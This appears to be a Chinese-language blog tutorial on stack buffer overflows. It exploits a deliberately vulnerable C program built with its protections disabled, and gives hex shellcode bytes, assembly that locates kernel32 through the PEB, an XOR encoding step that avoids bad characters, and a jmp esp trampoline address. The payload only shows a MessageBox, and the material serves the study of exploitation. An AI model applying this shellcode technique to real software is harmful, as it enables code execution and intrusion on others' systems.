栈溢出原理与实践

栈结构

寄存器环境
局部变量
调用方栈
返回地址
参数

实验环境

编译器 VS2022
编译选项 1、属性->C/C++->常规->SDL检查(否 (/sdl-)).
2、属性->C/C++->代码生成->安全检查(禁用安全检查 (/GS-)).
3、属性->链接器->高级->随机基址(否 (/DYNAMICBASE:NO))
4、属性->链接器->高级->数据执行保护(DEP)(否 (/NXCOMPAT:NO))
build版本 x86 Release

实验例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <windows.H>
int main(int argc, char* argv[])
{
	char szBuf[8];
	FILE* fp = NULL;

	fp = fopen("pwd.txt", "r+");
	fscanf(fp, "%s", szBuf);

	if (strcmp(szBuf, "Hello") == 0)
	{
		printf("ok\r\n");
	}
	else
	{
		printf("error\r\n");
	}

	fclose(fp);
	return 0;
}

漏洞利用

上述代码中fscanf没有长度检查,所以会造成栈溢出,可以被我们利用.

修改函数返回地址

我们在x64Dbg中定位到fscanf函数.

栈溢出1

现在我们想让Main函数执行完后,在返回地址的下个单元即0x19FF34这个地方执行我们的代码,我们需要构造下fscanf读的文件内容.

栈溢出2

执行我们自己的代码

现在我们来让这个程序弹个MessageBox.

  1. 改善环境,增大我们写代码的空间

栈溢出3

1
72 00 6C 6C 6F 00 00 00 74 FF 19 00 34 FF 19 00 8B DC 81 EC 00 02 00 00 8D 43 F0 50 50 B8 A0 7B E2 76 FF D0 8D 5C 24 08 53 68 1C 21 40 00 50 B8 50 10 40 00 FF D0 FF E3
  1. 我们在r文件中填写内容

上面开辟的空间就是r文件的大小,0x200字节.

弹MessageBox的话,我们通过GetProcAddr(hUser32,“MessageBoxA”)拿函数地址,但hUser32需要通过LoadLibraryA(“user32.dll”)得到.又LoadLibraryA这个函数需要通过GetProcAddr(hKernel32,“LoadLibraryA”)拿函数地址,但hKernel32需要通过LoadLibraryA(“kernel32.dll”)得到,这就陷入了一个循环.但我们可以通过teb结构得到Kernel32的句柄.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GetKernelBase proc
 assume fs : nothing
 mov eax, fs:[18h]
 mov eax, [eax + 30h] ;指向PEB结构
 mov eax, [eax + 0ch] ;指向LDR Ptr32 _PEB_LDR_DATA
 mov eax, [eax + 0ch] ;指向InLoadOrderModuleList _LIST_ENTRY
 mov eax, [eax]       ;移动_LIST_ENTRY
 mov eax, [eax]       ;指向Kernel32
 mov eax, [eax + 18h] ;指向DllBase
 ret
GetKernelBase endp
  1. 在r文件中准备函数和字符串.

栈溢出4

1
558BEC5653578B750803763C8D76788B360375088B450C250000FFFF0BC075168B450C2B46103B4614766D33C05F5B5EC9C20800EB628B450C8B5E20035D0833C9EB388B3C8B037D085157568BF7B000B9FFFFFFFFF2AEF7D18BFE8B750CF3A68A46FF3A47FF750433C0EB051BC0D1E0405E5F590BC07502EB06413B4E1872C33B4E18720933C05F5B5EC9C208008B5E24035D080FB7044B8B5E1C035D088B04830BC0750933C05F5B5EC9C208000345085F5B5EC9C2080064A1180000008B40308B400C8B400C8B008B008B4018C3904C6F61644C69627261727941004D657373616765426F78410048656C6C6F576F726C6421007573657233322E646C6C00

但是这里有个问题,fscanf遇到特定字符就会截断,如0d,0a,0c,0b,20这样的内容,我们需要做个工具,对这些内容进行加密,加密后不允许出现上述字符,如异或加密,我们需要找个一个异或值,使其我们的内容异或后没有敏感字符.

  1. 获取异或值.

栈溢出5

  1. 异或加密.

用Winhex将r文件中的函数和字符串用此异或值进行加密.

栈溢出6

  1. 开始写代码.

注意:我们写的代码二进制中不能有敏感字符.

栈溢出7

1
8D B3 00 01 00 00 B9 00 01 00 00 80 74 31 FF 85 E2 F9 8D 83 B8 01 00 00 FF D0 8D 8B D0 01 00 00 51 50 8D 83 00 01 00 00 FF D0 8D 8B F5 01 00 00 51 FF D0 8D 8B DD 01 00 00 51 50 8D 83 00 01 00 00 FF D0 6A 00 8D 8B F5 01 00 00 51 8D 8B E9 01 00 00 51 6A 00 FF D0 E8 A0 88 A6 76

将上述二进制数据存到r文件开始即可.

  1. 成果展示.

栈溢出8

注意
如果换个电脑环境,上述程序就运行不起来了,因为我们写了绝对地址.

栈溢出9

其中调用方栈位置的数据我们可以随便填,返回地址的地方我们可以找一个跳板地址,里面指令是FFE4(jmp esp),或者是其他的如jmp eax等,这样的话,我们就可以缓解环境问题.

通用跳板:0x7FFA4512(里面指令是FFE4(jmp esp),Win2000,Xp,Win10均可使用.


相关内容

0%